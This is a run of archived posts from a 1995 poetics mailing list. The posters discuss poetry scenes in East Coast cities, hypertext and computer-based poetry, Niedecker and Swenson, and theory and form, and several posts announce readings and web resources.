I must say, though, that Philly is a very pleasant, interesting, varied city, and the countryside to the west (where I am) is spectacularly beautiful. I miss people and some bookstores from the Bay Area (notably SPD) but otherwise, I'm happy as a clam.

Other cities on the East Coast surprise me more than Philadelphia. For example, Boston has been by far the least hospitable city for the post-New American poetries of any large scene imaginable. Last time I checked, Charles Bernstein and I had each given exactly one reading there (mine was in Bill Corbett's house), compared to the three I've given in Philadelphia, the two in DC, etc. Baltimore is another city that has several writers, but seems very quiet. Rod Smith and Mark Wallace seem determined to make DC interesting (and appear to be doing a very good job thereof). But Wilmington? Why have I never met a poet who lived in Wilmington?

Ron

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562. **R I Caddel**

The Nasty Niedecker Man Again

Wed 25 Oct 1995

Dear Kevin - and anyone else who I've unwittingly offended -

I'm a bit worried about the "think of us" routine, since it suggests that I've tried to put down all American LN readers/readings in one bag. I haven't. I'm also concerned that a note of UK/US divisiveness creeps in at this point, which again, isn't supported by anything I've written. I don't think it's so simple as to say, UK sees it thus; US sees it thus, nor have I ever tried to imply that. Nor, I'm afraid, did I ever get round to proposing "my" reading of the place: what I did comment on, in fact, was how difficult a good take on the place would be.

"Unblinkered" to me would mean a reading which didn't just propose one take on the place (as in: the poverty! the saddness! let's move to NY) but tried to see what more there is to it than that (blinkers, you know, are what people put on horses to make them look in one direction). Nothing's ever comprehensive, of course, but when we've totted up the pain & suffering in LN's work, we recognise that there's more to it than that: an affirmation, even a celebration. That needs to be said. So, a reading of the place which doesn't say that risks being considered "unsupportable", "failing" etc. "Unwitting" acknowledges that perhaps that's not deliberate, as in the heading of this posting.

Yes, we're all tourists, zipping around and taking snapshots. But those snapshots can be misleading (a) about the snappee, and (b) about the snapper. John Barrell made this point, writing about Clare, who so singularly wrote out of one place, even after it had gone forever, and who was constantly faced with incomprehension over his concerns to celebrate social and physical environment, at whatever price. Hence my Clare/ Niedecker comparison. Snapshots don't carry enough depth for complex subjects.

I'm going to be off-list for a few days, and would like not to leave bad feeling behind me - so - Sorry to Dodie and Kevin and anyone else, whereever they may be, if anything I've said offended. I hope I've cleared it up.

x x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted] x x x x

"right down among em x x the folk from whom all poetry flows x x and dreadfully much else." x x - Lorine Niedecker x x x

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563. **John Cayley**

Re: Hypertext & Poetry Possibilities

Wed 25 Oct 1995

Yes, Jim's fine, pioneering work, including his notes and essays on non/multi-linear poetics, are a necessary reference here.

I've also been working, on and off, in this area since the personal computer first became available, and my web-site (see below) has some explanatory material. To self-promote, I now have now several self-published Macintosh disks which make non-trivial use of the medium of a computer-based cybertext systems to present poetic work.

There is a *lot* that can be done. But poets/writers will have to come to grips with software, to 'press the reveal code key' as I would have it [quoting something that has been written to, hopefully, appear elsewhere]: 'Each term of the writer/reader/programmer triangle is a shifter. Just as writer may be reader and reader, writer in current (post-modern) critical perspectives, so either of these absent agents may be programmers: systematic manipulators of text and intertext, making use of software which has become intimate with poetics. Poets and readers must become intimate with software. They must press the "Reveal Code" key.'

For (an obvious) example: 'Scoring' a (silent) reading so that words, phrases etc. appear on the screen in positions composed/specified by an author, and at speeds and with pauses which are as she hears them with her inner ear -- this is something that is fairly easy to set up on modern computer systems. I made a software harness for HyperCard on the Mac which allows you take a text, arrange the words on the screen(s), set speeds at which they appear (rightwards-scrollingly), set pauses between words / phrases/ lines / screens; set multiple orders in which the words appear, and are erased, etc. etc. This system is a usable but unfinished piece of software (unfinished -- as a software publication *tool*, tho' separate pieces using it exist, especially _wine flying_ (1988) <http://www.inforamp.net/~cayley/wshome.html#KINETIC> -- because I quickly became more interested in quasi-aleatory text generation). But if it was ever finished, it could be used to 'publish' anyone's work; anyone who wanted to score a series of silent readings of appropriate pieces in this way. [If some institution give me a grant to finish the software, ho ho, and someone was willing to help edit an anthology of scored pieces by innovative poets -- well, there aren't too many projects I'd rather undertake.]

Charles B. said we should announce new 'books', so apologies for continuing with this shameless self-promotion. My latest is:

The Speaking Clock

... with acknowledgements to Emmett Williams's 'Poetry Clock' and, more specifically, to John Christie's mechanical 'Word Clocks' ... however this (silent) speaking clock in software both composes from a given text according to quasi-aleatory procedures and actually tells the 'real time':

"What if it was impossible to apply a single name from a finite set to a moment which seems to recur in an acknowledged cycle of time? What if it was

impossible to apply the word 'dawn' to more than one single instant at the beginning of some one particular day?" -- from the given text.

1 x 1.4 Mb disk, for Apple Macintosh with HyperCard or HyperCard Player 2.x GBP 5.95 (us$11.95) -- can be supplied as shareware over the net (as an email attachment) ISBN 0 948454 26 1

Finally, a forthcoming issue of _Visible Language_ edited by Eduardo Kac, will be devoted to "New Poetry, New Media -- Experimental Poetics and Technological Innovation", and will included a piece by Jim Rosenberg.

- - - - - -
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564. Larry Price
Villon's Snow (still falling)
Wed 25 Oct 1995

The difficulty I'm having with the discussion of theory and form is the apparent assumption that they are isolable. In this model (as with the recent poetry and politics discussion - "politics is only one possible hobby amongst many") it seems as though theory is being treated as a kind of fetishized content to sprinkle over and enliven otherwise mundane and static forms. But - following up on Charles Alexander's post - I can't now finish a poem that doesn't take up "the ideological history of its own form as part of its formal workings." And ideological future for that matter, although I wouldn't insist that it be "implicit rather than explicit," since, as with Zizek, there is no dirty little secret, no missing X of reality that the ideological veils. In this concern, at least, ideology IS the real. The state IS because it is a form of life (in Wittgenstein's term). And if the tent poles change, so does the tent. That fact doesn't make me forget the other fact of their contradictory status (as alienated forms). As Ron implied some time ago (or should have), it is precisely their material contradictions that make poems important. To paraphrase: "It is because they are contradictory that they must be written." But the other side of this, which Rod Smith pointed out in his post, is the critical and participatory moment, the feedback through method or ascesis. For example, in the last few days, I followed this chain: Ed

Foster (concerning Dickinson's dashes) remarked upon the fallen status of the dash (as now designating the merely parenthetical, a paradigmatic parallel or restatement). It occurs to me then that Dickinson's dashes aren't noemic at all, but distributional (as opposed to integrative, in Culler's terms). This sent me back to my notes from Culler where I found my own early mis-reading of Bruce Andrews as "about" paradigm, whereas now, in light of the Kula gift ring shard posted by cris cheek, I might read Bruce as distributional, the accrual of significations (to the artifact and not the artificer) in the "progress" from island to island in Bruce's projected oceanic paradise of language, which accrual, because of the feedback, forces lexical change both in the artifact and reading. The idea that signification ACCRUES through circulation has implications for form. Form may initiate circulation, but circulation ensures a surplus, an eventual excess meaning. And as that pressure builds, the lexical shift must occur. Among other changes, it can be a shift in the way signification is distributed among the iconic counters, which again, I assume, can cause shifts in the directions and kinds of their literal mobility, their use. So, yes, a text can be VERY responsible for what can be done with it. An author may not be. For as Sweet William also said, "Uh-oh, somebody's been fuckin' with my mummy again."

Larry Price

↑ Index

565. H. T. KIRBY-SMITH

May Swenson

Wed 25 Oct 1995

Well, just to start with, one that I think of as an Old Favorite, "Cat and the Weather."

When you first read this you think you have a latter-day imagist poem, and in fact it has a lot in common with peoms by Amy Lowell and especially H. D. That is, you see that cat on that windowsill with that snow coming down on that particular day in that particular place, and the lines of the poem seem broken so as to intensify the focus. And visual focus is extremely important in her poems. I "saw" the Piazza San Marco more vividly in one of her poems than I can see it while standing there, overhwelmed with pigeons and architectural detail.

But then if you _listen_ to her poems you usually hear the complex audible structure. It varies from poem to poem but it IS structure--not just the random jotting that it looks like at first.

The three poems in The Harper Anthology of Poetry make a good beginning.

Maybe when I have time I can key in some poems. _Half Sun Half Sleep_ is a fine volume. _To Merge With Time_ included a broad sweep of her work.

She did at one point get a little too caught up in concrete or shaped poems, but even there it's usually more than just typing out the words so they look like a swan--as Hollander did. I mean, if you study the shape you see there's more to it than it seems at first. In "How Eeverything Happens: A Study of the Wave" at first you think, well, OK, it's like a wave. Then you see that implied in the poem are everything from quantum theory to emotional cycles.

But you have to take time to get to know the poems. It's not performance poetry or experiential onrush. There's movement but there is also a lot of stasis. I can imagine getting some pleasure out of riding past a long series of Pollock paintings on a motorbike, but I can't imagine doing a Monet show that way.

To some extent her strategies were a way of achieving this focus or stasis--they slowed her down. But I never feel that the poems are over-articulated or too gimmicky, because in the end the focus is outside herself even when it's inside herself (I mean, as when she writes about the effect of novocaine after a dentist visit).

(This posting is in response to an inquiry from Chris Stroffolino).

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

↑ Index

566. **Gale Nelson**
Re: Metroplexities
Wed 25 Oct 1995

Ron,

It's always nice to see Providence become invisible once again. We have only the likes of Keith & Rosmarie Waldrop, C.D. Wright & Forrest Gander, Ray Ragosta, Craig Watson (when he's not in China, Australia, South Africa or Malaysia), Tom Ahern, Mark McMorris, Jennifer Moxley, Patrick Phillips, Ray Jordan, A.W. Gregoire, Michael Harper, Edwin Honig, Randy & Mutlu Blasing, Nancy Donegan, Jan Cal, Xue Di, Meng Lang, Catherine Imbriglio [with recent leavings including Lee Ann Brown, Peter Gizzi, LeAnn Jacobs & Elizabeth Willis] among the non-student poetry community; with fiction writers Robert Coover, Carole Maso, Robert Arellano, Lori Baker, Gita Brown, Alison Bundy, Donald Judson, Meredith Steinbach, Shay Youngblood comprising a corner of the prose writers in town (not to mention playwrights Eliza Anderson, Debbie Baley,

Aishah Rahman, Paula Vogel, Adam Bock, etc.) -- and an ever-changing group of dynamic graduate _and_ undergraduate poets, fiction writers, etc (one recent graduate, Aaron Kunin, is now at Duke pursuing a PhD -- his honors thesis was a tremendous, intelligent piece of writing).

Excuse the plug for the home ground, Ron. It may not be Paradise, but it _is_ where _Paradise_ was lovingly published.

Cheers,

Gale Nelson

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567. Edward Foster
Re: mag list update
Wed 25 Oct 1995

---

spencer: for your mag list update, please note talisman's address is now:

P.O. Box 3157
Jersey City, NJ 07303-3157

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568. Jim Rosenberg
Re: Hypertext & Poetry Possibilities
Wed 25 Oct 1995

Thanks one and all for the many kind words. While we're handing out recommendations, I'd like to speak for John Cayley's work, which I find simply stunning. John does a very different kind of work than I do, using algorithms to generate text on-the-fly from things in the poem that have already happened. He's also doing some really provocative things with time, with having words appear in different places on the screen at the same time.

Charles Alexander:
> This seems to me best done in print by layering of papers, including
> transparent or translucent ones. While it can probably be done with less
> expense with interactive software methods, there is something else with
> words on paper, which is the physical fact of language as tangible
> substance.

Interesting you should mention this -- I support the idea of using physical media 100%. One thing I think I would do if I were teaching a course in hypertext writing is to give one assignment to make a hypertext without using the computer at all. As attractive as the computer is in many respects, it is also easy to get sidetracked by whatever off-the-shelf abstractions the particular

software package you're using has built in, rather than focusing on exactly what you want to accomplish aesthetically. Physical media let you execute ideas more directly. Struggling with physical media is a good way to become clear on what you want to do when you do sit down with software.

I was fascinated to learn from Cathy Marshall, who is one of the leading hypertext researchers (and whose ideas parallel mine in a lot of truly uncanny ways) that she got started in hypertext using physical models -- pasting words onto the kind of chemical models used to display the structure of molecules.

Word installations is another area where there is a whole infinitude of possibilities to be explored. The page can be literally any possible space. I have a lot of nostalgia for the two installations I did back in the 70s.

One thing the computer does bring to the table is that it makes it very easy to reproduce the work once you're done. Using (say) transparent plastic sheets is a lot easier to do in an original one-off work than in an edition. The computer also brings some difficult *problems* to the table. Given the rapid pace of change in the computer industry, how easy will it be to find a computer 50 years from now that can run today's computer poetry? Whose burden is it to be sure there's a way to display the work? A lot of questions to be answered.

--

Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

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569. **Willa Jarnagin**

Re: Metroplexities

Wed 25 Oct 1995

On Wed, 25 Oct 1995, Ron Silliman wrote:

> *Other cities on the East Coast surprise me more than Philadelphia. For example, Boston has been by far the least hospitable city for the post-New American poetries of any large scene imaginable. Last time I checked, Charles Bernstein and I had each given exactly one reading there (mine was in Bill Corbett's house)....*

Well, I suppose this the perfect opportunity to plug the reading series I and Eric Malone are starting in Boston. "CellarDoor" will give poets a place to read outside the university scene that's stuffed into every corner of this city (please pay no attention to my Harvard email address; I only work here like many other

Somervillites). Our first reader is Bill Corbett (speaking of Bill...) on OCTOBER 29, 2:00, at the Bookcellar Cafe, 1971 Mass. Ave, Cambridge.

Ron, have you heard of Word of Mouth, the Boston series run by Michael Franco for the past 8 years, in which Robin Blaser, Kevin Killian, Dodie Bellamy, Anne Waldman, Ed Foster and many others read? Word of Mouth has ended (at least for a while) so Eric and I started CellarDoor to fill the void.

Poets on this list, if you ever come to Boston, please let me know so we can arrange to give you a reading!! Email me or write me at 51 Laurel St. #3, Somerville MA 02143.

Willa Jarnagin

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570. Beth Russell
wagering poetics
Wed 25 Oct 1995

Poetics list, I was wondering if there were any poets/writers/creators/ thinkers/ or _pockets_ of poets who are currently working in the medium of _chance_ (operations, etc.)--aside from those relatively established already. S pecifically, i'm interested in researching these things as it relates to current technolgies- the _place_ or position of poetries/art w/in the technically emergent world/locus. Even more to the point, is there anyone out there who is currently _performing_ aleatory-poetics, etc., aside from figures such as MacLow , Burroughs (Cage), etc. and moreso, are they using technological mediums and how are they relating it to performance, chance, etc.?

thanks, beth

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571. Daniel Bouchard/College/hmco
Complex city/ scene- ery
Wed 25 Oct 1995

I would be interested in hearing from older poets with more experience about what their visions for an ideal "poetry scene" in any city might be. I've lived in Philadelphia recently and considered "the scene" as the people comprising the audience who showed up for Ron's reading on Walnut Street one night; or, away from university sponsored events, the crowd who attended Yusef Komunyaka's reading at the Painted Bride just a month and a mile or so apart. More recently, I got to know many of the people Gale Nelson lists as residing in Providence when I was living in the Ocean State last year. The events I was

able to get to were sponsored by Brown, but that didn't make them any less pleasant. (Of course both cities have their share of presses and magazines, but they are more like props in the scene).

Staying as vague as possible: I thought both cities were wonderful.

What should be the basic function of a poetry scene? Formal and informal interaction among poets? What else? Is an academic environment more ideal or less ideal than, say, an arts center? What about the larger environment- a "city of the corporations?" which neither Philly nor Providence are, or a city where the poets are mainly found on a campus?

I've been in Boston for six months and have met precious few (read: 2) poets. Can anybody offer any encouraging insight into this place?

daniel_bouchard @ hmco.com

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572. **Timothy Liu**
Re: Metroplexities
Wed 25 Oct 1995

Ron & Co.:

If it's Wilmington, NC, the poet Michael White teaches out there at UNCC. Doesn't seem like there's a lot of experimental writing or readings going on out there, although Black Mountain and Jonathan Williams are nearby . . .

I'm new to POETICS, so I suppose I'm losing my virginity with this post!

Two things on my mind. As poets, do we only apply for jobs in places we'd like to live or do we take what we can get, relying on cyberspace to compensate for the outposts that we eventually find ourselves stationed at? I've been living out here in Mt. Vernon (IA) since '94, and were it not for Eastern Iowa's cultural mecca of Iowa City, I'd be goin nuts. Trips to Chicago do help, but now, as I scan the latest job listings, it seems that only the jobs that provide an upgrade in location have any appeal. And access to the internet seems vital!

Secondly, and this is for Chris S., did Tate's workshop or the program at UMass Amherst provide a space for you to write in or was it finally unacceptable? Did a fellowship lure you there? As a graduate student, I was willing to study at whatever program would give me enough money to get by and write. I wonder if post-graduates aren't forced to do the same kind of dance.

Timothy Liu

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573. Robert Drake
Re: Situation #10
Wed 25 Oct 1995

mark--

actually, this sis re: the forms thread... i'll send you a couple of things i've put out, one is a collaboratin sonnett & the other a chap hat has some sonnetts in it. not sure if either would count thmselves avantgard & so not sure if it fits yr line of questioning, but would be interested to hear what ch y think...

got a not from WITZ (chris renner? i think, couldnt read the handwriting & havnt checked my records), saying he'd be interested in running a review of mark ducharmes book; you'd mentioned praps being up for such? if so , let me know, if you kneed the address, and would be greatly appreciated...

writ frm work, where the textedit nor delete key works... but i do.

allbest
luigi

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574. Alan Golding
Maria (D.)
Wed 25 Oct 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Sorry to use public space for a private note, but . . .

Maria (Damon): Are you out there? I wrote you backchannel a while (week?) ago and am not sure it went through, wonder if I have your address right, etc.

Alan

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575. Jonathan Brannen
Re: Wallace and fiscal poetry
Wed 25 Oct 1995

> *(money is also a kind of poetry)*
>
> *Tenney,*
>
> *Since when? To whom? I can relate to neither this concept of money nor*

> *this concept of poetry.*
>
> *Best of all possible worlds,*
> *Jonathan Brannen*
>
> *says Wallace Stevens, and as I think Ed Foster remarked sardonically (through a typo though?) if anyone's should know, it wd be Wallace (of the far-flung surprise Christmas box). Thinking, say, of all those lush fruits in "St Agnes Eve" etc. Imagination etc. There are also a couple of funny moments in Emerson where he says he hates the drudgery of the worker (and cf. American Scholar the truncated hand etc) but loves the bold imagination of the inventive capitalist & so on: pretty much equates capital w Imagination or Reason, drudge work w Understanding. I can't remember why it seemed apposite to quote Stevens, w some bemusement as I vaguely recall, but it did.*
>
> *Tenney*

Tenney,

My questions were rhetorical. Saying that money is poetry is the same kind of chicanery as calling a missle with a nuclear war-head a Peace-Keeper. Ed is probably right, Wally, no doubt, had a better understanding of the machinations of money than Waldo did of the drudgery of workers (at that time in Emerson's vacinity, they would most likely have been textile workers, an industry which then relied almost exclusively on child labor, mostly females who typically began their "careers" at age seven or eight and rarely lived beyond their teens because of lung disease and other work place hazards).

If "money is a kind of poetry" then perhaps those dashes that Emily Dickinson used are actually be coded messages from an alien civilization.

Best regards,
Jonathan

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576. Burt Kimmelman
poetry with a tech slant: anthology
Wed 25 Oct 1995

Some of you may recall that last summer I solicited your help in throwing a course together I am to teach this spring: 20th century technology and esthetics. I'm now closer to a syllabus but I need your help again (and forgive the redundancy quotient here if any): is there an anthology that contains the

following poets: WCW, Hart Crane, LZ, Oppen, Bronk, MacLow, Cage, Ronald Johnson. You will note the absence of women on this list. I will not go forward without some women poets. But who? Someone mentioned Kathy Acker. How about Susan Howe (not really)? Joan Retelllack maybe?

But anyway, I would very much like to order an anthology (rather than make up my own) if I can find one that's serviceable. I plan to use Perloff's The Futurist Moment and Steinman's Made in America as companion pieces (as well as other books though the others are not concerned with poetry necessarily).

Thank you for your help (again),

Burt Kimmelman
Humanities
NJIT
Newark, NJ 07102
[redacted]

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577. Scott Pound
McCaffery & MacCormack Buffalo Reading
Wed 25 Oct 1995

****
READING
****

CHARLES BERNSTEIN
STEVE McCAFFERY
KAREN MacCORMACK

will read from their work on Thurs., November 16, 1995

(8 PM) at BIG ORBIT GALLERY, 30 Essex Street

Buffalo, NY

****

Steve McCaffery will read at the Center for the Arts

SUNY-BUFFALO

on Wednesday, November 15 at 4pm

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578. **Charles Alexander**
Re: Metroplexities
Wed 25 Oct 1995

> *As poets, do we only apply for jobs in*
> *places we'd like to live or do we take what we can get, relying*
> *on cyberspace to compensate for the outposts that we eventually find*
> *ourselves stationed at?*
>
> *Timothy Liu*

My feeling is that as a poet I try and create my job. I haven't heard of any job I can apply for to be a poet (believing that being a poet is not by any means the same thing as teaching poetry). So, whether it's getting involved in teaching, or nonprofit organizations, or freelance writing, or design, or business of various sorts, it seems to me if one wants to be somewhere in particular, she or he can do that. Taking "what we can get" seems an odd concept.

charles

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579. **david ayre**
fleet'n greet'ns
Wed 25 Jan 1995

Hey info friends !

for those of you with WWW access, i've been working
on a canadian WWW poetics network linking writers and
their work with publishers/journals-mags/bookstores-
libraries..

It's still under constructions but currently
there is information on the following journals:

West Coast Line
Open Letter
Raddle Moon + others

and the following presses:

Talon Books,
Tsunami Editions/New Star Press,
Oolichan books
Arsenal Pulp
ECW
Caitlin
The Eternal Network +others

+ info on British Columbian small bookstores...

Still under construction is a forum section where users can create their own forum topics to which users can enter their discussions + info and works by Canadian writers...

gotta flee !

avid deary

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580. **david ayre**

oops

Wed 25 Jan 1995

---

after all that, i forgot the address...

http://www.wimsey.com/~ksw/pnet/pnet.htm

note: there is no letter "l" after ".htm"

exit stage left ---------->}
                }
<----------}

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581. **Gabrielle Welford**

Re: Hypertext & Poetry Possibilities

Thu 26 Oct 1995

On Tue, 24 Oct 1995, Jim Rosenberg wrote:

> The thing that has excited me is the possibilities hypertext methods allow
> for word *structure*. Since my undergraduate days one of the things I've
> wanted to do with words is put them (literally) on top of one another.
> Painters juxtapose, composers put sounds on top of one another, there's no
> reason poets shouldn't do the same. But there's a problem: when you put
> words literally on top of one another, they tend to *interfere* to the point
> of unintelligibility -- regardless of whether you do it orally using
> simultaneous voices, or visually on the page. Interactive software methods
> allow you to put words on top of one another and *sacrifice nothing* in the
> way of intelligibility: using the mouse one can navigate the layers and read
> all the words, yet those words reside in the same place.
>
Great! This is something I've been wanting to do for some time and was trying to figure out ways to physically look through words into other

words underneath by doing something like a pop-up books, but I've never had time. The thing that bothers me about hypertext (which I've never used, so I may be talking up a grass snoot) is the time element. You wouldn't actually be looking simultaneously through one word at another. There'd be a time lapse wouldn't there?

Gabrielle

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582. **Ron Silliman**

Re: Hypertext & Poetry Possibilities

Thu 26 Oct 1995

Jim Rosenberg is absolutely right:
>The computer also brings some difficult *problems* to the table.
Given the rapid pace of change in the computer industry, how easy will it be to find a computer 50 years from now that can run today's computer poetry? Whose burden is it to be sure there's a way to display the work? A lot of questions to be answered.

My sense is that any work in hypertext that is good would be good writing in an absolutely hide-bound traditional print format. Consider how great Blake can seem evn when removed from the illumined manuscript.

Also, the word on the street is that the archivists are avoiding collecting disks of manuscripts like the plague, even though in many programs you could tell, for example, how many levels of revision (and length of composition) were involved.

If you get one of the those greeting cards that plays a tune when opened, it's using a chip that has more computing capacity than the US military had for all of WW2. In 2025, the average laptop (if that form is still popular) will almost certainly have more power than is contained in all of silicon valley.

These tools at hand are still very primitive, if we just envision what they will look like in 100 years. (The typewriter was an invention of the Civil War, a means of bringing reports home from the front, which is why/how Remington, a rifle manufacturer, got involved. The internet was conceived as a means of decentralizing the national computing architecture so that it would survive WW3. Then it took off on its own.)

Ron

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583. **Ron Silliman**
Upper Limit Atlanta
Thu 26 Oct 1995

Nobody here has commented on how much Cleveland's great second baseman Carlos Baerga looks like Aldon Nielson, so I will be the first. (This at least with my trifocals off.)

Last chance to watch Carlos tonight on the telly.

Ron

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584. **Ron Silliman**
Re: fleet'n greet'ns
Thu 26 Oct 1995

David, re your post:
>Hey info friends !
>
>for those of you with WWW access, i've been working
>on a canadian WWW poetics network linking writers and
>their work with publishers/journals-mags/bookstores-
>libraries..
>
>It's still under constructions

What is the URL???

Ron Silliman

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585. **Joe Amato**
Re: Hypertext & Poetry Possibilities
Thu 26 Oct 1995

---

i think ron, via jim, is absolutely correct in pointing to the tinkertoy technologies represented by computer-authoring programs when looked through the lens of just a decade or two hence... within even ten years, chip technology (rated, say, in equiv. numbers of transistors per) will be many orders of magnitude beyond what it is today...

i would simply like to add that this does NOT mean (nor do i take ron or jim as suggesting anything of the sort) that folks shouldn't wander off and play in said tinkertoy directions... i learned a lot, methinks, from TINKERTOYS---and building blocks... and as much as working with print material offers advantages

to any budding ht builder (as jim suggests) so does (in some cases) *struggling* with a piece of software, testing one's moods and cognitions against its warp & woof...

speaking of which, anybody hereabouts had the opportunity to check out seneca's (i think it is) new html authoring tool? (forget the name)...

joe

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586. **Herb Levy**
KSW=Kootenay's Site on the Web
Thu 26 Oct 1995

Cool site, Dave.

A lot of webpages are in a constant state of flux, but this is the first time I've ever seen one that's "under construsion."

It figures that Bowering's off in Europe somewhere (working of course) just when I need a translation from the Canadian.

> *after all that, i forgot the address...*
>
> *http://www.wimsey.com/~ksw/pnet/pnet.htm*
>
> *note: there is no letter "l" after ".htm"*
>
> *exit stage left ---------->}*
> *}*
> *<----------}*

Herb Levy
[redacted]

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587. **Robert Drake**
Re: oops
Thu 26 Oct 1995

---

another link fr edgy canadian lit:

http://www.io.org/~dalopes/

lbd

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588. Robert Drake
Re: Upper Limit Atlanta
Thu 26 Oct 1995

> *Last chance to watch Carlos tonight on the telly.*

oh ye ov little faith... it aint over til its over

lbd

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589. Chris Stroffolino
Re: Metroplexities
Thu 26 Oct 1995

Jordan: Yes, I share hope for "an intelligent and friendly scene" in NYC and it is certainly achievable in non (or para) institutional contexts, the interstices, late night chance encounters, etc--but it would be helpful I think to see more of a mutually challenging community there. One thing I keep coming back to is the Perelman WRITING/TALKS series and the "frutiful collision" that seemed to allow. in the then-developing and wide ranging group of poets brought into dialogue with each other. If the inbreeding at the ear is as you say but "the growing pangs of a coalescing group" let's hope that coalescing doesn't mean reifying (or more dreadfully reified). As for your talk on FACTIONS---well, another thing i keep coming back to from my experience in Phila. was that it seemed that the knowledge that there were less poets there enabled an openess to cross-pollinization or at least dialogue of the NYC equivalent of the Jewish Y scene and the nuyorican and the ear inn tyes (I mean the phila equivalent) than I have seen in NYC from my admitted "peripheral" perspective. Nonetheless, much morew can be done on these points in BOTH cities (and should be). RON: You claim that GIL OTT "developed that entire scene"---Let me offer a correction (without attempting to "put Gil down"--who i very much respect---but i think Gil would agree with me here. That scene was also in part the work of Lamont Steptoe (who is now based in the Walt Whitman center in Camden--and like Gil suffered from PBAC politics)-- who paired many lesser-known younger poets with more established ones (myself, for instance, with Gerald Stern and then Berstein and Ott) and also broke down certain racial divisions (and their often aesthetic counterparts between the slam scene and the more sophisticated scenes-- (put sophisticated in quotes) whether "mainstream" or "avant-garde") AND WHO IS JOSHUA SCHUSTER??????? Could you tell me? I'm curious. Maybe you could put us in touch. Also, do you know Dave Baratier--Pavement Saw press. Temple M.A. student (but also with a JOB in business world, so THERE!)-- He is involved in a very interesting salon that

includes some young poets (mostly women i think) involved with APR, Boulevard and the Painted bride Quarterly (ethel rackin for instance).... Definitely a young, vital, intelligent and friendly scene (whose taste is wider than one MIGHT imagine). DB told me he went to one of your readings and that he's been trying to get work from you and Perelman for his mag. TIM: Good to hear from you (after all these years). The U-MASS experience basically SUCKED for me--which is why I'm in a Ph.D> program now and not a MFA. Though I respect Tate in much the way i respect Koch for freeing my writing from my (perhaps reductive?) reading of the LANGPO aesthetic and "recentering" me, as am teacher he was dreadful and irresponsible and simply "not there" (even though he DID once defend one of my poems from a challenge YOU made!) Yet, it's quite easy for him to say "I have faith in the process"--meaning the MFA creative writing process of weeding out the "wheat" from the "chaff"--(where I mean were you there when he said that?--i think he did more than once) considering the fact that he never had to work outside of the academy since he was 23! Anyway, I actually found myself defending Bernstein to him (and it fell on deaf ears). Now, I don't mean to simply attack that process wholecloth, but I found as much closemind- edness there as I do among certain avantgardists too. I don't know if this answers your question. Chris S.

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590. **tunguska**

Villon's Snow (always)

Thu 26 Oct 1995

Your comments, Larry Price, about form and theory, got me thinking about Paul Ricour's Rule of Metaphor. and yes, there is an attempt to take these things, poetry, speech, lexis etc, and treat them in isolated fashion (are we trying to get outside a so-called poetry-mind and look back in to see its all?)The arguments around the, as you say, circulation of, accretion of signification, etc, could continue, in their own perspective, outside any other prerogative, as empiricism, as science does do. What is interesting about Ricour's study of these things, and in particular, poetic form, the language of poetry, is, he determines, in the end, to listen to the language of everyday, the philosophy of everyday language I believe he says, and from that, draw a sort of categorial perspective of language, away from, as it were, the dictates of other so called possibilities and imaginations, real situations in their own intellectual right....but doesn't this all come down to the apprehension of the difference in "economic" man, and "spiritual" man, as, among others, MacDiarmid would have said...this pragmatics, this existentialism's but a poem?.....etc etc

tod thilleman

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591. **Robert Drake**
Re: KSW=Kootenay's Site on the Web
Thu 26 Oct 1995

---

i read "under construsion" as = construction+extrusion, a neologism i'd keep...

lbd

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592. **Beth Russell**
Re: burt kimmeleman's course
Thu 26 Oct 1995

Burt, you may want to check out the _Poems for the Millenuim_, ed. by Jerome Rothenberg and Pierre Joris. Also, in regards to literary crit. and technology, you may want to check into George Landow's _Hypertext_: the convergence of...(Johns Hopkins 1992). This Landow piece is now available on disk w/expanded notes on the original _Hypertext_ work, w/comments by students, notes, etc.

beth russell

↑ Index

593. **Wystan Curnow**
Re: Villon's Snow (still falling)
Thu 26 Oct 1995

Larry Price wrote:

...I might read Bruce (Andrews) as distributional, the accrual of significations (to the artifact and not the artificer) in the"progress"from island to island in Bruce's projected oceanic paradise of language, which accrual, because of the feedback, forces lexical change both in the artifact and reading. The idea that signification ACCRUES through circulation has implications for form. Form may initiate circulation, but circulation ensures a surplus, an eventual excess meaning.And as that pressure builds, the lexical shift must occur. Among other changes, it can be a shift in the way signification is distributed among the iconic counters, which again, I assume, can cause shifts in the directions and kinds of their literal mobility, their use. So, yes,a text can be VERY responsible for what can be done with it. An author maynot be. For as Sweet William also said, "Uh-oh, somebody's been fuckin' with my mummy again."

Larry, appreciated the whole post and nothing but, but the last bit above especially. I know what you are saying about Bruce's work,but would want to apply what you say to any poetry. When I moaned some days back about the model that seemed chronically implied in discussions of audience 'communciation', poetry's prestige in the culture, etc. the corrective I had in mind involved the processes you suggest. Wystan

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594. Kenneth Sherwood
Computers and Writing
Fri 27 Oct 1995

There is an interview with Roland Barthes in which he talks at length about his writing pens, an array of them apparently, the barbarity of ball-points and such. Which I take as a reminder of how hard it is to make poems without tools-chisel, Parker, or Mac.

So I've been following the recent thread (what are we weaving) which seems to be dealing with creation, presentation, and representation of writing through computers. Chris Funkhouser's observation of the literal-mindedness of some options is to the point. The Comptons Encyclopedia CD-ROM doesn't offer much inspiration, formal or otherwise.

But there is no obvious reason why the tech need perform such a limiting rendering of the poem. Simple gestures, like adding two slightly variant vocal tracks to a poem, suddenly open up meaning and possibility.

Joe's tinkertoy analogy is partly apt--we can wrest much from tech as it now stands, including (Charles) that time-tested Codice TM. Working to lay words on the page or screen, working with the intonation or pace of a poem.

Perhaps it is the Barthes' interview again--his pen fetish seemed to carefully relegate 'typewriter' technology to the status of reproduction, duplication; no one could write there, except, one supposes, his secretary (who was not queried)--but there seems an almost violence in the gesture to decline (suppress) the relation of computers to writing when, for most here reading this at least, it is (for better or worse) quite central.

Ken Sherwood

↑ Index

595. **John Cayley**

Re: Hypertext & Poetry Possibilities

Fri 27 Oct 1995

> *One thing the computer does bring to the table is that it makes it very easy to reproduce the work once you're done. Using (say) transparent plastic sheets is a lot easier to do in an original one-off work than in an edition.*

There is also what the computer allows you to output to paper and related media -- the ability to achieve typographic effects (shading and distortion of text, etc.) which would have been impossible or prohibitively expensive before desktop typesetting. Mulit-linearity in a piece, for example, can be representing by different colours or shades (as well as using transparent sheets as Charles suggested).

